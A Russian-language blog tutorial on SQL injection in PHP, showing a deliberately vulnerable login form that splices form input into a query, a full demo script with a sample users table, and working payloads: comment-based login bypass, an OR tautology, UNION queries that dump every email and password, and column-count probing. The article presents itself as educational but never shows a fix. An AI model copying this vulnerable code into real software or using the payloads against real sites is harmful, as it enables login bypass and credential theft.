SEO продвижение сайтов

SQL инъекции в PHP

Конечно, SQL инъекции в PHP возможны только при отсутствии проверки данных из форм и при наличии явных ошибках программистов. Я пишу эту статью для тех, кто НЕ хочет стать жертвой таких атак на свой сайт и для тех, кто хочет писать свои безопасные приложения.

Пишем форму для отправки логина и пароля для АВТОРИЗАЦИИ:

<form action="" method="POST">
        <input type="text" name="email" value="<?=$email?>"><br>
        <input type="text" name="pass" value="<?=$pass?>"><br>
        <input type="submit" name="subm" value="Авторизоваться">
</form>

А в PHP-коде пишем:

<?php
if ($_POST['subm'])
{
    $email=$_POST['email'];//Логин
    $pass =$_POST['pass']; //Пароль

    echo
    $sql="SELECT `name` FROM `users` WHERE `email`='$email' AND `pass`='$pass';";//Готовим SQL-запрос...
    //...и тд...
?>

Теперь в форму пишем логин (E-mail) и пароль.

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
  • Пароль: 123

...и получаем такой SQL-запрос:

SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='123';

Если это запрос возвращает одну строку с именем, значит создаём сессию авторизации и погнали... Стандартная авторизация.

ТЕПЕРЬ: Как авторизоваться без пароля или вообще получить список логинов и паролей к ним..?

Добавляем -- (однострочный комментарий)

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.'; --
  • Пароль: не важно...

Обязательно поставить пробел после -- - это однострочный комментарий в MySQL.

    Получим такой SQL-запрос:
SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.'; -- ' AND `pass`='не важно...';

Это и есть авторизация без пароля... Круто?

Добавляем OR (или)

А если в форму ввести:

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
  • Пароль: ' OR `pass`!='

Получим такой SQL-запрос:

SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='' OR `pass`!='';

Добавляем UNION (объединение запросов)

Ключевое слово UNION применяется для объединения двух и более SQL-запросов в единую таблицу, при этом количество полей должно быть одинаковым.

  • Логин: Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.
  • Пароль: ' OR `pass`!='' UNION SELECT email FROM `users` WHERE `email`!='' UNION SELECT pass FROM `users` WHERE `email`!='

Получим такой SQL-запрос:

SELECT `name` FROM `users` WHERE `email`='Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.' AND `pass`='' OR `pass`!=''
UNION SELECT email FROM `users` WHERE `email`!='' 
UNION SELECT pass FROM `users` WHERE `email`!='';

Объединяются три запроса и код возвращает списки: имена, логины и пароли... Всё, добро пожаловать на сайт, НОВЫЙ господин!))

Количество полей можно определить с помощью подбора:

  • ...UNION SELECT 1...
  • ...UNION SELECT 1, 2...
  • ...UNION SELECT 1, 2, 3...
  • и тд...
  • или ...GROUP BY...

Весь код выглядит так...

MySQL - создаём таблицу и наполняем её:

--
-- База данных: `sasha` и структура таблицы `users`
--
CREATE TABLE `users` (
  `id` int(10) NOT NULL,
  `name` varchar(20) NOT NULL,
  `email` varchar(20) NOT NULL,
  `pass` varchar(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

--
-- Дамп данных таблицы `users`
--
INSERT INTO `users` (`id`, `name`, `email`, `pass`) VALUES
(1, 'Геннадий', 'Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', '123'),
(2, 'Саша', 'Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.', '456');

PHP и HTML код:

<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
<div style="width:100%; max-width:800px; margin:0 auto;">
<?php
    //Это данные для подключения к MySQL
    $host='localhost'; // адрес сервера 
    $user='root';      // Login
    $pasB='';          // Пароль
    $base='sasha';     // Имя базы данных

    echo '<h2>У вас PHP '.phpversion()."версия</h2>\n";

if ($_POST['subm'])
{
    $email=$_POST['email'];
    $pass=$_POST['pass'];

    echo
    $sql="SELECT `name` FROM `users` WHERE `email`='$email' AND `pass`='$pass';";

    @$con=mysql_connect($host,$user,$pasB); //Соединение с Mysql echo $put;
    if ($con)
    {
    mysql_select_db($base);//Выбрать базу
    echo "<h4>Подключились mysql_connect()!</h4>\n";

    mysql_query('SET NAMES utf8');//Кодировка
    $rs=mysql_query($sql,$con);

    while ($row=mysql_fetch_assoc($rs)) 
         print_rG($row,1);

    mysql_close($con);//Закрываем подключение
    }   
    else 
        echo "Подключение не удалось mysql_connect !<br>\n";//exit;
}

function print_rG($m,$v=0)
{
    $r="\n<pre>".print_r($m,TRUE)."</pre>\n";
    if ($v==0)
        return $r;
    else
        echo $r;
}
?>
    <h1 id="rz"><a href="/">Форма</a></h1>
    <p>ИМЯ: </p>
    <form action="#rz" method="POST">
        <input type="text" name="email" style="width:100%;" value="<?=$email?>"><br><br>
        <input type="text" name="pass" style="width:100%;" value="<?=$pass?>"><br><br>
        <input type="submit" name="subm" value="Авторизоваться">
    </form>
</div>

Автор: Алехин Геннадий (15.02.2020)

Добавить комментарий


Защитный код
Обновить

Web-технологии

Событие в JavaScript

Событие в JavaScript - это определённое действие, которые вызвано либо пользователем, либо браузером.

Например:

События мыши:

  • click – происходит, когда кликнули на элемент левой кнопкой мыши (на устройствах с сенсорными экранами оно происходит при касании).
  • contextmenu – происходит, когда кликнули на элемент правой кнопкой мыши.
  • mouseover / mouseout – когда мышь наводится на / покидает элемент.
  • mousedown / mouseup – когда нажали / отжали кнопку мыши на элементе.
  • mousemove – при движении мыши.

События на элементах управления:

  • submit – пользователь отправил форму
  • focus – пользователь фокусируется на элементе, например нажимает на <input type="text" />.
Подробнее...

Универсальный обход по массиву

Предлагаю вашему вниманию PHP-код - универсальный обходчик любого массива с любым представлением. Используем две функции: 1) функция с циклом (метод ArrFor() в классе) и 2) функция (как аргумент) с оформлением результатов обхода по массиву в цикле.

Подробнее...

JavaScript - основы (ES6)

ECMAScript 6 (или ES6) - это новая версия JavaScript 2015г, в которую добавлен новый функционал, которая на сегодня поддерживается всеми современными браузерами.

Переменные и комментарии

JavaScript - не строго типизированный язык. Переменные обозначаются так:

	let name='Геннадий'//Строка
	console.log(name)  //Геннадий - отображается в консоли

	var age=40      //Число(без кавычек) VAR (глобальная) - устарело, не использовать!
	console.log(age)//40 - отображается в консоли

	const prof="Программист"//Это константа
	console.log(prof)//Программист - отображается в консоли

	// - это однострочный комментарий

	/*
		тут 
		многострочные 
		комментарии
	*/

Подробнее...
Интересные статьи

Диалектические противоречия или чего хотят современные женщины

Диалектические противоречия или чего хотят современные женщины

Современная женщина, независимо от доходов и статуса, выбирает мужчину для отношений, который должен обладать определенными чертами характера. Именно наличие этих естественных черт характера у мужчины определяют его как достойного для создания пары.

Многие женщины, живущие в современном мире, традиционно имеют как минимум два взаимоисключающих убеждения в отношении взаимодействия с мужчинами для создания такого союза.

Подробнее...

Почему мужчинам опасно регистрировать брак в России

Почему мужчинам опасно регистрировать брак в России

Сразу хочу сообщить, что я не оголтелый женоненавистник или противник семейных ценностей. Я как раз наоборот - замечательно и с почтением отношусь к прекрасным дамам и являюсь сторонником традиционных семейных ценностей.

Но при этом категорически настаиваю, что официально регистрировать брак в нашей стране для мужчин катастрофически опасно и вот почему...

Подробнее...

День Победы со слезами на глазах...

День Победы со слезами на глазах...

Дорогие друзья, вот и прошёл пожалуй самый светлый праздник для нашей страны, для нашего народа - ДЕНЬ ПОБЕДЫ - 9 мая.

Но, как именно прошёл праздник 75-летия ПОБЕДЫ в этом году, я хочу напомнить сегодня, спустя 4 дня от празднования исторической даты.

У меня такое ощущение, как будто никто не заметил, что ПОЛИЦАИ по всей стране в этот день задерживали, арестовывали и штрафовали именно за память о Победе, за возложение цветов к памятникам нашим павшим героям.

Подробнее...

Оставить заявку

Закрыть
Заполните фрму и отправьте нам заяку
Заполните все обязательные поля*
captcha
Перезагрузить